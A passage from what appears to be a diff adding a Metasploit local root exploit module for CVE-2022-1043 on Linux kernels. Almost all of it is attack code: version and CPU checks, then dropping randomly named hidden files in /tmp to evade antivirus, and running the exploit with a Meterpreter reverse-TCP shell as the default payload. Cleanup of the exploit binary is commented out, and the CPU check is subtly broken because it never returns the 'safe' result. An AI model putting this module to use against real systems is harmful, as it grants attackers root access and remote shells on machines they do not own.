'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + # Simplify pulling the writable directory variable + def base_dir + datastore['WritableDir'].to_s + end + + def check + # Check the kernel version to see if its in a vulnerable range + release = kernel_release + if Rex::Version.new(release.split('-').first) > Rex::Version.new('5.14-rc7') || + Rex::Version.new(release.split('-').first) < Rex::Version.new('5.12-rc3') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" + + # make sure we have enough CPUs. Minimum 2 required + cpu = get_cpu_info + if cpu[:cores] < 2 + CheckCode::Safe("> 1 CPU required, detected: #{cpu[:cores]}") + end + CheckCode::Vulnerable("> 1 CPU required, detected: #{cpu[:cores]}") + end + + def exploit + # Check if we're already root + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable, writing to a random name so AV doesn't have too easy a job + if live_compile? + executable_name = ".#{rand_text_alphanumeric(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + vprint_status 'Live compiling exploit on system...' + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + code = strip_comments(exploit_data('CVE-2022-1043', 'cve-2022-1043.c')) + code = code.gsub('/bin/sh', payload_path) + upload_and_compile executable_path, code + # register_files_for_cleanup(executable_path) + else + vprint_status 'Dropping pre-compiled exploit on system...' + executable_path = '/tmp/.lv63U9jrB' + payload_path = '/tmp/.96Z6w6n2' + upload_and_chmodx executable_path, exploit_data('CVE-2022-1043', 'pre-compiled') + end + + # Upload payload executable + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + + timeout = 30 + print_status 'Launching exploit...' + output = cmd_exec executable_path, nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end